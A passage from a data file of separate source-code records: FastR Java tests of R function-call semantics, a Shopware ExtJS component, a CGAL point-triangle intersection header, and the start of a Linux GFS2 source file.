{ x + y }, y = 1, x = 2) ; myapp(f = sum, x = 1, y = 2) ; myapp(f = function(x,y) { x - y }, y = 10, x = 3) }\");\n assertEval(\"{ myapp <- function(f, x, y) { f(x,y) } ; g <- function(x,y) { x + y } ; myapp(f = g, y = 1, x = 2) ; myapp(f = sum, x = 1, y = 2) ; myapp(f = g, y = 10, x = 3) ; myapp(f = g, y = 11, x = 2) }\");\n assertEval(\"{ f <- function(i) { if (i==2) { c <- sum }; c(1,2) } ; f(1) ; f(2) }\");\n assertEval(\"{ f <- function(i) { if (i==2) { assign(\\\"c\\\", sum) }; c(1,2) } ; f(1) ; f(2) }\");\n assertEval(\"{ f <- function(func, arg) { func(arg) } ; f(sum, c(3,2)) ; f(length, 1:4) }\");\n assertEval(\"{ f <- function(func, arg) { func(arg) } ; f(sum, c(3,2)) ; f(length, 1:4) ; f(length,1:3) }\");\n assertEval(\"{ f <- function(func, arg) { func(arg) } ; f(sum, c(3,2)) ; f(length, 1:4) ; f(function(i) {3}, 1) ; f(length,1:3) }\");\n assertEval(\"{ f <- function(func, a) { if (func(a)) { 1 } else { 2 } } ; f(function(x) {TRUE}, 5) ; f(is.na, 4) }\");\n assertEval(\"{ f <- function(func, a) { if (func(a)) { 1 } else { 2 } } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(g, 3) }\");\n assertEval(\"{ f <- function(func, a) { if (func(a)) { 1 } else { 2 } } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; h <- function(x) { x == x } ; f(h, 3) }\");\n assertEval(\"{ f <- function(func, a) { if (func(a)) { 1 } else { 2 } } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(g, 3) ; f(is.na, 10) }\");\n assertEval(\"{ f <- function(func, a) { if (func(a)) { 1 } else { 2 } } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(g, 3) ; f(c, 10) }\");\n assertEval(\"{ f <- function(func, a) { if (func(a)) { 1 } else { 2 } } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(g, 3) ; f(function(x) { 3+4i }, 10) }\");\n assertEval(\"{ f <- function(func, a) { if (func(a)) { 1 } else { 2 } } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(is.na, 10) }\");\n assertEval(\"{ f <- function(func, a) { func(a) && TRUE } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) }\");\n assertEval(\"{ f <- function(func, a) { func(a) && TRUE } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(is.na, 10) }\");\n assertEval(\"{ f <- function(func, a) { func(a) && TRUE } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(length, 10) }\");\n assertEval(\"{ f <- function(func, a) { func(a) && TRUE } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(g, 10) ; f(is.na,5) }\");\n assertEval(\"{ f <- function(func, a) { func(a) && TRUE } ; g <- function(x) {TRUE} ; f(g, 5) ; f(is.na, 4) ; f(function(x) { x + x }, 10) }\");\n\n assertEval(\"{ f <- function(i) { c(1,2) } ; f(1) ; c <- sum ; f(2) }\");\n }\n\n @Test\n public void testRecursion() {\n assertEval(\"{ f<-function(i) { if(i==1) { 1 } else { j<-i-1 ; f(j) } } ; f(10) }\");\n assertEval(\"{ f<-function(i) { if(i==1) { 1 } else { f(i-1) } } ; f(10) }\");\n assertEval(\"{ f<-function(i) { if(i<=1) 1 else i*f(i-1) } ; f(10) }\"); // factorial\n assertEval(\"{ f<-function(i) { if(i<=1L) 1L else i*f(i-1L) } ; f(10L) }\"); // factorial\n // 100 times calculate factorial of 100\n assertEval(\"{ f<-function(i) { if(i<=1) 1 else i*f(i-1) } ; g<-function(n, f, a) { if (n==1) { f(a) } else { f(a) ; g(n-1, f, a) } } ; g(100,f,100) }\");\n\n // Fibonacci numbers\n assertEval(\"{ f<-function(i) { if (i==1) { 1 } else if (i==2) { 1 } else { f(i-1) + f(i-2) } } ; f(10) }\");\n assertEval(\"{ f<-function(i) { if (i==1L) { 1L } else if (i==2L) { 1L } else { f(i-1L) + f(i-2L) } } ; f(10L) }\");\n }\n\n @Test\n public void testPromises() {\n assertEval(\"{ z <- 1 ; f <- function(c = z) { c(1,2) ; z <- z + 1 ; c } ; f() }\");\n assertEval(\"{ f <- function(x) { for (i in 1:10) { x <- g(x,i) }; x }; g <- function(x,i) { x + i }; f(2) }\");\n assertEval(\"{ f <- function(x = z) { z = 1 ; x } ; f() }\");\n assertEval(\"{ z <- 1 ; f <- function(c = z) { z <- z + 1 ; c } ; f() }\");\n assertEval(\"{ f <- function(a) { g <- function(b) { x <<- 2; b } ; g(a) } ; x <- 1 ; f(x) }\");\n assertEval(\"{ f <- function(a) { g <- function(b) { a <<- 3; b } ; g(a) } ; x <- 1 ; f(x) }\");\n assertEval(\"{ f <- function(x) { function() {x} } ; a <- 1 ; b <- f(a) ; a <- 10 ; b() }\");\n assertEval(\"{ f <- function(x = y, y = x) { y } ; f() }\");\n assertEval(\"{ foo <- function(a,b) { x<<-4; b; }; x <- 0; foo(2, x > 2); }\");\n // FIXME eager promises bug\n // Note: following test fails on the first invocation only, consequent invocations produce\n // correct result. The problem is that OptForcedEagerPromiseNode is not creating assumptions\n // that variables involved in the eagerly evaluated expression are no being updated in the\n // meantime as side effect of evaluation of some other argument.\n assertEval(Ignored.ImplementationError, \"{ foo <- function(x,z) x + z; x <- 4; bar <- function() { x <<- 10; 1; }; foo(bar(), x); }\");\n assertEval(Ignored.ImplementationError, \"{ foo <- function(x,z) list(x,z); x <- 4; bar <- function() { x <<- 10; 1; }; foo(bar(), x > 5); }\");\n // FIXME eager promises bug2\n // If eager promise evaluates to another promise, that promise should only be evaluated if\n // it is again a simple expression without any side effects.\n assertEval(Ignored.ImplementationError, \"{ bar <- function(x, y) { y; x; 42 }; foo <- function(a) bar(a, cat('side2')); foo(cat('side1')) }\");\n\n assertEval(\"{ options(list(width=80)); f <- function(arg, defArg = getOption('width')) { print(arg + defArg); print(defArg) }; f(80L); f(80L); f(80L) }\");\n assertEval(\"{ x <- rep(80, 1); f <- function(arg, defArg = x) {print(arg + defArg); print(defArg)}; f(80L); f(80L); f(80L) }\");\n }\n\n @Test\n public void testVarArgPromises() {\n assertEval(\"g <- function(e) get(\\\"ex\\\", e);f <- function(e, en) { exports <- g(e); unlist(lapply(en, get, envir = exports, inherits = FALSE))}; \" +\n \"e1 <- new.env(); e1n <- new.env(); assign(\\\"a\\\", \\\"isa\\\", e1n); assign(\\\"ex\\\", e1n, e1); \" +\n \"e2 <- new.env(); e2n <- new.env(); assign(\\\"b\\\", \\\"isb\\\", e2n); assign(\\\"ex\\\", e2n, e2); ex1 <- c(\\\"a\\\"); ex2 <- c(\\\"b\\\"); f(e1, ex1); f(e2, ex2) == \\\"isb\\\"\");\n assertEval(\"rule <- 1; stopifnot((lenR <- length(rule)) >= 1L, lenR <= 2L)\");\n assertEval(\"{ x <- 3; stopifnot((x <- 5) < 10, x == 5); }\");\n // assignment in arguments + function that has a fast path\n assertEval(\"{ seq((abc <- 1), length.out = abc + 1) }\");\n assertEval(\"{ seq((abc <- 1), abc + 10) }\");\n }\n\n @Test\n public void testArgEvaluationOrder() {\n assertEval(\"v <- 1; class(v) <- 'foo'; `-.foo` <- function(x,y,...) { cat('[-.foo]'); 1234 }; g <- function(...) { cat('[ing]'); ({cat('[-]'); `-`})(...) }; ({cat('[g]'); g})({cat('[x]'); v},{cat('[y]'); 3},{cat('[z]'); 5})\");\n }\n\n @Test\n public void testMatching() {\n assertEval(\"{ x<-function(foo,bar){foo*bar} ; x(f=10,2) }\");\n assertEval(\"{ x<-function(foo,bar){foo*bar} ; x(fo=10, bar=2) }\");\n assertEval(\"{ f <- function(hello, hi) { hello + hi } ; f(h = 1) }\");\n assertEval(\"{ f <- function(hello, hi) { hello + hi } ; f(hello = 1, bye = 3) }\");\n assertEval(\"{ f <- function(a) { a } ; f(1,2) }\");\n\n assertEval(\"{ f <- function(xy, x) xy + x; f(xy=1,x=2) }\");\n\n // with ... partial-match only if formal parameter are before ...\n assertEval(\"{ f<-function(..., val=1) { c(list(...), val) }; f(v=7, 2) }\");\n assertEval(\"{ f<-function(er=1, ..., val=1) { c(list(...), val, er) }; f(v=7, 2, e=8) }\");\n\n // exact match of 'xa' is not \"stolen\" by partial match of 'x'\n assertEval(\"{ foo <- function(xa, ...) list(xa=xa, ...); foo(x=4,xa=5); }\");\n // however, two partial matches produce error, even if one is \"longer\"\n assertEval(\"{ foo <- function(xaaa, ...) list(xaa=xaaa, ...); foo(xa=4,xaa=5); }\");\n assertEval(\"list(`...`=NULL);\");\n assertEval(\"`$<-`(someNonesense = list(), anotherNonesense = 'foo', 42)\");\n\n // Unmatched argument from delegated \"...\"\n // FastR does not provide \"c=3\", but only \"3\" in the error message\n assertEval(Output.IgnoreErrorMessage, \"foo <- function(...) bar(...); bar <- function(a,b) list(a,b); foo(a=1,b=2,c=3);\");\n\n // no named arguments matching for some primitives\n assertEval(\"as.character(3, x=42)\");\n\n // \"drop\" argument matched by name, can be anywhere, but not the first one\n assertEval(\"matrix(1:6, nrow = 2, dimnames = list(c('a', 'b'), LETTERS[1:3]))[1,,drop=FALSE]\");\n assertEval(\"matrix(1:6, nrow = 2, dimnames = list(c('a', 'b'), LETTERS[1:3]))[1,drop=FALSE,]\");\n assertEval(\"matrix(1:6, nrow = 2, dimnames = list(c('a', 'b'), LETTERS[1:3]))[drop=FALSE,1,]\");\n // first actual argument is not considered for matching to \"drop\" formal argument\n assertEval(\"`[`(drop=matrix(1:6, nrow = 2, dimnames = list(c('a', 'b'), LETTERS[1:3])), 1,)\");\n assertEval(\"`[`(drop=matrix(1:6, nrow = 2, dimnames = list(c('a', 'b'), LETTERS[1:3])), 1,, drop=F)\");\n // \"i\" and \"j\" argument names are ignored\n assertEval(\"matrix(1:6, nrow = 2, dimnames = list(c('a', 'b'), LETTERS[1:3]))[drop=FALSE,j=1,]\");\n\n assertEval(\"list(abc=3)[[exact=F,'ab']]\");\n assertEval(\"list(abc=3)[['ab',exact=F]]\");\n assertEval(\"list(abc=3)[[exact=F,'ab',drop=T]]\");\n assertEval(\"list(abc=3)[[drop=T,exact=F,'ab']]\");\n\n assertEval(\".subset2(c(1,2,3), 2, exact = T)\");\n assertEval(\".subset2(c(1,2,3), exact = T, 2)\");\n assertEval(\".subset2(exact = T, c(1,2,3), 2)\");\n assertEval(\".subset2(c(1,2,3), exact = T, 2, drop=T)\");\n\n assertEval(\".subset(c(1,2,3), drop = T, 2)\");\n assertEval(\".subset(c(1,2,3), 2, drop = T)\");\n\n assertEval(\"c(1,2,3)[[drop=T,3,drop=T]]\");\n assertEval(\"c(1,2,3)[[extract=T,3,drop=T]]\");\n assertEval(\"c(1,2,3)[extract=T,3,drop=T]\");\n\n // This would fail if we matched arguments of forceAndCall by name\\\n assertEval(\"apply(array(1,dim=c(2,3)), 2, function(x,n) x, n = 1)\");\n }\n\n @Test\n public void testDots() {\n assertEval(\"{ f <- function(a, b) { a - b } ; g <- function(...) { f(1, ...) } ; g(b = 2) }\");\n assertEval(\"{ f <- function(...) { g(...) } ; g <- function(b=2) { b } ; f() }\");\n assertEval(\"{ f <- function(a, barg) { a + barg } ; g <- function(...) { f(a=1, ...) } ; g(b=2) }\");\n assertEval(\"{ f <- function(a, b) { a * b } ; g <- function(...) { f(...,...) } ; g(3) }\");\n assertEval(\"{ g <- function(...) { c(...,...) } ; g(3) }\");\n\n assertEval(\"{ f <- function(...) cat(..., \\\"\\\\n\\\") ; f(\\\"Hello\\\", \\\"world\\\") }\");\n assertEval(\"{ f <- function(a=1,...) a ; f() }\");\n\n assertEval(\"{ f<-function(x, y) { print(missing(y)); } ; f(42) }\");\n assertEval(\"{ g<-function(nm, x) { print(c(nm, x)); } ; f<-function(x, ...) { g(x, ...) }; f(x=1, nm=42) }\");\n // Checkstyle: stop line length check\n assertEval(\"{ f.numeric<-function(x, row.names = NULL, optional = FALSE, ..., nm = NULL) { print(optional); print(nm) }; f<-function(x, row.names = NULL, optional = FALSE, ...) { UseMethod(\\\"f\\\") }; f(c(1,2), row.names = \\\"r1\\\", nm=\\\"bar\\\") }\");\n // Checkstyle: resume line length check\n\n assertEval(Output.IgnoreErrorContext, \"{ f <- function(x) { ..1 } ; f(10) }\");\n assertEval(\"{ f <- function(...) { ..1 } ; f() }\");\n\n assertEval(\"{ fn1 <- function (a, b) a + b; fn2 <- function (a, b, ...) fn1(a, b, ...); fn2(1, 1) }\");\n assertEval(\"{ asdf <- function(x,...) UseMethod(\\\"asdf\\\",x); asdf.numeric <- function(x, ...) print(paste(\\\"num:\\\", x, ...)); asdf(1) }\");\n\n assertEval(\"{ f <- function(...) { ..1 } ; f(10) }\");\n assertEval(\"{ f <- function(...) { ..1 ; x <<- 10 ; ..1 } ; x <- 1 ; f(x) }\");\n assertEval(\"{ f <- function(...) { g <- function() { ..1 } ; g() } ; f(a=2) }\");\n assertEval(\"{ f <- function(...) { ..1 <- 2 ; ..1 } ; f(z = 1) }\");\n assertEval(\"{ f <- function(...) { ..1 <- 2 ; get(\\\"..1\\\") } ; f(1,2,3,4) }\");\n assertEval(\"{ f <- function(...) { get(\\\"..1\\\") } ; f(1,2,3,4) }\");\n assertEval(\"{ f <- function(...) { eval(as.symbol(\\\"..1\\\")) } ; f(1,2,3,4) }\");\n assertEval(\"{ f <- function(...) { ..1 <- 2; eval(as.symbol(\\\"..1\\\")) } ; f(1,2,3,4) }\");\n\n assertEval(\"{ g <- function(a,b) { a + b } ; f <- function(...) { g(...) } ; f(1,2) }\");\n assertEval(\"{ g <- function(a,b,x) { a + b * x } ; f <- function(...) { g(...,x=4) } ; f(b=1,a=2) }\");\n assertEval(\"{ g <- function(a,b,x) { a + b * x } ; f <- function(...) { g(x=4, ...) } ; f(b=1,a=2) }\");\n assertEval(\"{ g <- function(a,b,x) { a + b * x } ; f <- function(...) { g(x=4, ..., 10) } ; f(b=1) }\");\n\n assertEval(\"{ g <- function(a,b,aa,bb) { a ; x <<- 10 ; aa ; c(a, aa) } ; f <- function(...) { g(..., ...) } ; x <- 1; y <- 2; f(x, y) }\");\n assertEval(\"{ f <- function(a, b) { a - b } ; g <- function(...) { f(1, ...) } ; g(a = 2) }\");\n\n assertEval(Output.IgnoreErrorContext, \"{ f <- function(...) { ..3 } ; f(1,2) }\");\n\n assertEval(Output.IgnoreErrorContext, \"{ f <- function() { dummy() } ; f() }\");\n assertEval(Output.IgnoreErrorContext, \"{ f <- function() { if (FALSE) { dummy <- 2 } ; dummy() } ; f() }\");\n assertEval(Output.IgnoreErrorContext, \"{ f <- function() { if (FALSE) { dummy <- 2 } ; g <- function() { dummy() } ; g() } ; f() }\");\n assertEval(Output.IgnoreErrorContext, \"{ f <- function() { dummy <- 2 ; g <- function() { dummy() } ; g() } ; f() }\");\n assertEval(Output.IgnoreErrorContext, \"{ f <- function() { dummy() } ; dummy <- 2 ; f() }\");\n assertEval(Output.IgnoreErrorContext, \"{ dummy <- 2 ; dummy() }\");\n assertEval(\"{ f <- function(a, b) { a + b } ; g <- function(...) { f(a=1, ...) } ; g(a=2) }\");\n assertEval(\"{ f <- function(a, barg, bextra) { a + barg } ; g <- function(...) { f(a=1, ...) } ; g(b=2,3) }\");\n assertEval(\"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, ...) } ; g(be=2,bex=3, 3) }\");\n\n assertEval(\"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, ...) } ; g(1,2,3) }\");\n assertEval(\"{ f <- function(...,d) { ..1 + ..2 } ; f(1,d=4,2) }\");\n assertEval(\"{ f <- function(...,d) { ..1 + ..2 } ; f(1,2,d=4) }\");\n\n assertEval(\"{ f<-function(...) print(attributes(list(...))); f(a=7) }\");\n assertEval(\"{ f<-function(...) print(attributes(list(...))); f(a=7, b=42) }\");\n assertEval(\"{ f <- function(...) { x <<- 10 ; ..1 } ; x <- 1 ; f(x) }\");\n assertEval(\"{ f <- function(...) { ..1 ; x <<- 10 ; ..2 } ; x <- 1 ; f(100,x) }\");\n assertEval(\"{ f <- function(...) { ..2 ; x <<- 10 ; ..1 } ; x <- 1 ; f(x,100) }\");\n assertEval(\"{ g <- function(...) { 0 } ; f <- function(...) { g(...) ; x <<- 10 ; ..1 } ; x <- 1 ; f(x) }\");\n\n assertEval(\"{ x<-7; y<-42; f<-function(...) { substitute(g(...)) }; is.language(f(x,y)) }\");\n assertEval(\"{ x<-7; y<-42; f<-function(...) { substitute(g(...)) }; typeof(f(x,y)) }\");\n assertEval(\"{ x<-7; y<-42; f<-function(...) { as.list(substitute(g(...))) }; f(x,y) }\");\n\n assertEval(\"{ f <- function(...) g(...); g <- function(a,b) { print(a); print(b) }; f(1,2); f(a=3,b=4); f(a=5,b=6) }\");\n\n assertEval(\"{ f <- function(a, barg, ...) { a + barg } ; g <- function(...) { f(a=1, ...) } ; g(b=2,3) }\");\n assertEval(\"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, ...) } ; g(be=2,du=3, 3) }\");\n\n assertEval(\"{ f<-function(x, ...) { sum(x, ...) }; f(7) }\");\n assertEval(\"{ h<-function(x,...) f(x,...); f<-function(x, ...) { sum(x, ...) }; h(7) }\");\n assertEval(\"{ g <- function(x, ...) c(x, ...); g(1) }\");\n assertEval(\"{ g <- function(x, ...) f(x,...); f <-function(x,...) c(x, ...); g(1) }\");\n\n assertEval(\"bug <- function(a, ...) vapply(a, function(.) identical(a, T, ...), NA); v <- c(1,2,3); bug(v)\");\n assertEval(\"bug <- function(a, ...) { f <- function(x) identical(a, T, ...); f(x)}; v1 <- c(1,2,3); bug(v1)\");\n assertEval(\"bug <- function(a, ...) { f <- function(x) identical(a, T, ...); environment(f) <- globalenv(); f(x)}; v1 <- c(1,2,3); bug(v1)\");\n assertEval(\"f2 <- function(...) { f <- function() cat(...); f() }; f2()\");\n assertEval(\"f2 <- function(...) { f <- function() cat(...); environment(f) <- globalenv(); f() }; f2()\");\n assertEval(\"f2 <- function(...) { f <- function() cat(...); f() }; f2(\\\"a\\\")\");\n assertEval(Ignored.ImplementationError, \"f2 <- function(...) { f <- function() cat(...); assign(\\\"...\\\", NULL); f() }; f2(\\\"a\\\")\");\n assertEval(\"f2 <- function(...) { f <- function() cat(...); assign(\\\"...\\\", \\\"asdf\\\"); f() }; f2(\\\"a\\\")\");\n\n assertEval(\"{ g <- function(a,b,x) { a + b * x } ; f <- function(...) { g(x=4, ..., 10) } ; f(b=1,a=2) }\");\n assertEval(\"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, ..., x=2) } ; g(1) }\");\n assertEval(\"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, ..., xxx=2) } ; g(1) }\");\n assertEval(\"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, xxx=2, ...) } ; g(1) }\");\n\n assertEval(\"{ `-.foo` <- function(...) 123; v <- 1; class(v) <- 'foo'; sapply(1,`-`,v); sapply(v,`-`,1); sapply(v,`-`,v) }\");\n\n assertEval(\"{ f <- function(...) { substitute(..1) } ; f(x+y) }\");\n // Error messages differ\n // Expected output: Error in get(as.character(FUN), mode = \"function\", envir = envir) :\n // object 'dummy' of mode 'function' was not found\n // FastR output: Error in match.fun(FUN) : could not find function \"dummy\"\n assertEval(Output.IgnoreErrorMessage, \"{ lapply(1:3, \\\"dummy\\\") }\");\n\n // Error messages differ\n // Expected output: Error in f(a = 1, ..., x = 2, z = 3) : unused arguments (x = 2, z = 3)\n // FastR output: Error in f(a = 1, ..., x = 2, z = 3) : unused argument (x = 2)\n assertEval(Output.IgnoreErrorMessage, \"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, ..., x=2,z=3) } ; g(1) }\");\n assertEval(\"{ f <- function(a, barg, bextra, dummy) { a + barg } ; g <- function(...) { f(a=1, ...,,,) } ; g(1) }\");\n // Error messages differ\n // Expected output: Error in ..2 + ..2 : non-numeric argument to binary operator\n // FastR output: Error in ..2 + ..2 : invalid argument to unary operator\n assertEval(Output.IgnoreErrorMessage, \"{ f <- function(...) { ..2 + ..2 } ; f(1,,2) }\");\n // FIXME GnuR's probably better approach since missing(..n) could be used\n // for arg presence so using ImplementationError for now.\n // Expected output: Error in ..1 + ..2 : non-numeric argument to binary operator\n // FastR output: [1] 1\n assertEval(Ignored.ImplementationError, \"{ f <- function(...) { ..1 + ..2 } ; f(1,,3) }\");\n\n assertEval(\"{ f1 <- function(...) { subst <- substitute(list(...))[-1L]; eval(subst[[1]]) }; f2 <- function(a, ...) TRUE; f3 <- function(a, ...) { cat(\\\"Here:\\\"); f1(f2(a, ...)) }; f1(f3(\\\"aaa\\\")) }\");\n }\n\n @Test\n public void testInvokeIndirectly() {\n assertEval(\"{ f <- function(x) x+1 ; g <- function(x) x+2 ; h <- function(v) if (v==1) f else g ; h(1)(1) }\");\n assertEval(\"{ f <- function(x) x+1 ; g <- function(x) x+2 ; h <- function(v) if (v==1) f else g ; h(2)(1) }\");\n assertEval(\"{ f <- function(x) x+1 ; g <- function(x) x+2 ; v <- 1 ; (if (v==1) f else g)(1) }\");\n assertEval(\"{ f <- function(x) x+1 ; g <- function(x) x+2 ; v <- 2 ; (if (v==1) f else g)(1) }\");\n assertEval(\"{ f <- function(x) x+1 ; g <- function(x) x+2 ; funs <- list(f,g) ; funs[[1]](1) }\");\n assertEval(\"{ f <- function(x) x+1 ; g <- function(x) x+2 ; funs <- list(f,g) ; funs[[2]](1) }\");\n }\n\n @Test\n public void testArgs() {\n assertEval(\"{ f<-function(x, row.names = NULL, optional = FALSE, ...) {print(optional)}; f(c(7,42), row.names=NULL, nm=\\\"x\\\") }\");\n assertEval(\"{ f<-function(x, row.names = NULL, optional = FALSE, ...) {print(optional); for (i in list(...)) {print(i)} }; f(c(7,42), row.names=NULL, nm=\\\"x\\\") }\");\n }\n\n @Test\n public void testUnusedArgumentErrors() {\n assertEval(\"{ foo <- function(x) x; foo(1, 2, 3) }\");\n assertEval(\"{ foo <- function(x) x; foo() }\");\n }\n\n @Test\n public void testFunctionPrinting() {\n assertEval(\"{ foo <- function(x) x; foo }\");\n assertEval(\"{ sum }\");\n\n // mismatch on and formatting\n assertEval(Ignored.Unstable, \"{ exists }\");\n }\n\n @Test\n public void testFunctionResultPrinting() {\n assertEval(\"{ foo <- function() { x <- 1; return(x) }; foo() }\");\n }\n\n @Test\n public void testIsPrimitive() {\n assertEval(\"{ is.primitive(is.primitive) }\");\n assertEval(\"{ is.primitive(is.function) }\");\n }\n\n @Test\n public void testDefaultArgs() {\n assertEval(\"{ array(dim=c(-2,2)); }\");\n assertEval(\"{ array(dim=c(-2,-2)); }\");\n assertEval(\"{ length(array(dim=c(1,0,2,3))) }\");\n assertEval(\"{ dim(array(dim=c(2.1,2.9,3.1,4.7))) }\");\n }\n\n @Test\n public void testMatchFun() {\n assertEval(\"{ f <- match.fun(length) ; f(c(1,2,3)) }\");\n assertEval(\"{ f <- match.fun(\\\"length\\\") ; f(c(1,2,3)) }\");\n assertEval(\"{ f <- function(x) { y <- match.fun(x) ; y(c(1,2,3)) } ; c(f(\\\"sum\\\"),f(\\\"cumsum\\\")) }\");\n assertEval(\"{ f <- function(x) { y <- match.fun(x) ; y(3,4) } ; c(f(\\\"+\\\"),f(\\\"*\\\")) }\");\n }\n\n @Test\n public void testStateTransitions() {\n assertEval(\"{ f<-function(x) { l<-length(x); x[1]<-1 }; y<-c(42,7); f(y); y }\");\n }\n\n @Test\n public void testConversions() {\n assertEval(\"{ x<-quote(list(...)); l<-list(); l[[2]]<-x; names(l)<-c(\\\"...\\\"); f<-as.function(l); f(7, 42) }\");\n }\n\n @Test\n public void testSrcref() {\n assertEval(\"1\\nf <- quote(function(x, y) \\n a + \\n foooo); as.list(f); as.list(f)[[4]]; unclass(as.list(f)[[4]]); class(as.list(f)[[4]])\");\n }\n}\n"} -{"text": "/**\n * Shopware 5\n * Copyright (c) shopware AG\n *\n * According to our dual licensing model, this program can be used either\n * under the terms of the GNU Affero General Public License, version 3,\n * or under a proprietary license.\n *\n * The texts of the GNU Affero General Public License with an additional\n * permission and of our proprietary license can be found at and\n * in the LICENSE file you have received along with this program.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * \"Shopware\" is a registered trademark of shopware AG.\n * The licensing of the program under the AGPLv3 does not imply a\n * trademark license. Therefore any rights, title and interest in\n * our trademarks remain entirely with us.\n *\n * @category Shopware\n * @package Emotion\n * @subpackage View\n * @version $Id$\n * @author shopware AG\n */\n\n//{block name=\"backend/emotion/view/components/html_element\"}\n//{namespace name=\"backend/emotion/view/components/html_element\"}\nExt.define('Shopware.apps.Emotion.view.components.HtmlElement', {\n extend: 'Shopware.apps.Emotion.view.components.Base',\n alias: 'widget.emotion-components-html-element',\n\n snippets: {\n text: {\n fieldLabel: '{s name=\"text/label\"}Text{/s}',\n supportText: '{s name=\"text/support\"}Do not add styling{/s}'\n\n },\n cms_title: '{s name=\"cms_title\"}Title{/s}',\n needsNoStyling: {\n fieldLabel: '{s name=\"needsNoStyling/label\"}Do not add styling{/s}',\n supportText: '{s name=\"needsNoStyling/support\"}If selected, no other layout styling is applied.{/s}'\n }\n }\n});\n//{/block}\n"} -{"text": "// Copyright (c) 2000\n// Utrecht University (The Netherlands),\n// ETH Zurich (Switzerland),\n// INRIA Sophia-Antipolis (France),\n// Max-Planck-Institute Saarbruecken (Germany),\n// and Tel-Aviv University (Israel). All rights reserved.\n//\n// This file is part of CGAL (www.cgal.org)\n//\n// $URL$\n// $Id$\n// SPDX-License-Identifier: LGPL-3.0-or-later OR LicenseRef-Commercial\n//\n//\n// Author(s) : Geert-Jan Giezeman\n\n\n#ifndef CGAL_INTERSECTIONS_2_POINT_2_TRIANGLE_2_H\n#define CGAL_INTERSECTIONS_2_POINT_2_TRIANGLE_2_H\n\n#include \n#include \n#include \n#include \n#include \n\nnamespace CGAL {\n\nnamespace Intersections {\n\nnamespace internal {\n\ntemplate \nclass Point_2_Triangle_2_pair {\npublic:\n enum Intersection_results {NO_INTERSECTION, POINT};\n Point_2_Triangle_2_pair(typename K::Point_2 const *pt,\n typename K::Triangle_2 const *trian)\n : _pt(pt), _trian(trian), _known(false) {}\n\n Intersection_results intersection_type() const;\n\n typename K::Point_2 intersection_point() const;\nprotected:\n typename K::Point_2 const * _pt;\n typename K::Triangle_2 const * _trian;\n mutable bool _known;\n mutable Intersection_results _result;\n mutable typename K::Point_2 _intersection_point;\n mutable typename K::Point_2 _other_point;\n};\n\ntemplate \ninline bool do_intersect(const typename K::Point_2 &p1,\n const typename K::Triangle_2 &p2,\n const K&)\n{\n typedef Point_2_Triangle_2_pair pair_t;\n pair_t pair(&p1, &p2);\n return pair.intersection_type() != pair_t::NO_INTERSECTION;\n}\n\ntemplate \ninline bool do_intersect(const typename K::Triangle_2 &p2,\n const typename K::Point_2 &p1,\n const K& k)\n{\n return internal::do_intersect(p1, p2, k);\n}\n\n\ntemplate \ntypename Point_2_Triangle_2_pair::Intersection_results\nPoint_2_Triangle_2_pair::intersection_type() const\n{\n if (_known)\n return _result;\n// The non const this pointer is used to cast away const.\n _known = true;\n if (_trian->has_on_unbounded_side(*_pt)) {\n _result = NO_INTERSECTION;\n } else {\n _result = POINT;\n }\n return _result;\n}\n\n\n\ntemplate \ntypename K::Point_2\nPoint_2_Triangle_2_pair::\nintersection_point() const\n{\n if (!_known)\n intersection_type();\n CGAL_kernel_assertion(_result == POINT);\n return *_pt;\n}\n\n\n\ntemplate \ntypename Intersection_traits\n::result_type\nintersection(const typename K::Point_2 &pt,\n const typename K::Triangle_2 &tr,\n const K&)\n{\n typedef Point_2_Triangle_2_pair is_t;\n is_t ispair(&pt, &tr);\n switch (ispair.intersection_type()) {\n case is_t::NO_INTERSECTION:\n default:\n return intersection_return();\n case is_t::POINT:\n return intersection_return(pt);\n }\n}\n\ntemplate \ninline\ntypename Intersection_traits\n::result_type\nintersection(const typename K::Triangle_2 &tr,\n const typename K::Point_2 &pt,\n const K&k)\n{\n return internal::intersection(pt, tr, k);\n}\n\n} // namespace internal\n} // namespace Intersections\n\nCGAL_INTERSECTION_FUNCTION(Point_2, Triangle_2, 2)\nCGAL_DO_INTERSECT_FUNCTION(Point_2, Triangle_2, 2)\n\n} //namespace CGAL\n\n#endif\n"} -{"text": "/*\n * Copyright (C) Sistina Software, Inc. 1997-2003 All rights reserved.\n * Copyright (C) 2004-2006 Red Hat, Inc. All rights reserved.\n *\n * This copyrighted material is made available to anyone wishing to use,\n * modify, copy, or redistribute it subject to the terms and conditions\n * of the GNU General Public License version 2.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"gfs2.h\"\n#include \"incore.h\"\n#include \"glock.h\"\n#include \"util.h\"\n\nstruct kmem_cache *gfs2_glock_cachep __read_mostly;\nstruct kmem_cache *gfs2_glock_aspace_cachep __read_mostly;\nstruct kmem_cache *gfs2_inode_cachep __read_mostly;\nstruct kmem_cache *gfs2_bufdata_cachep __read_mostly;\nstruct kmem_cache *gfs2_rgrpd_cachep __read_mostly;\nstruct kmem_cache *gfs2_quotad_cachep __read_mostly;\nstruct kmem_cache *gfs2_rsrv_cachep __read_mostly;\nmempool_t *gfs2_page_pool __read_mostly;\n\nvoid gfs2_assert_i(struct gfs2_sbd 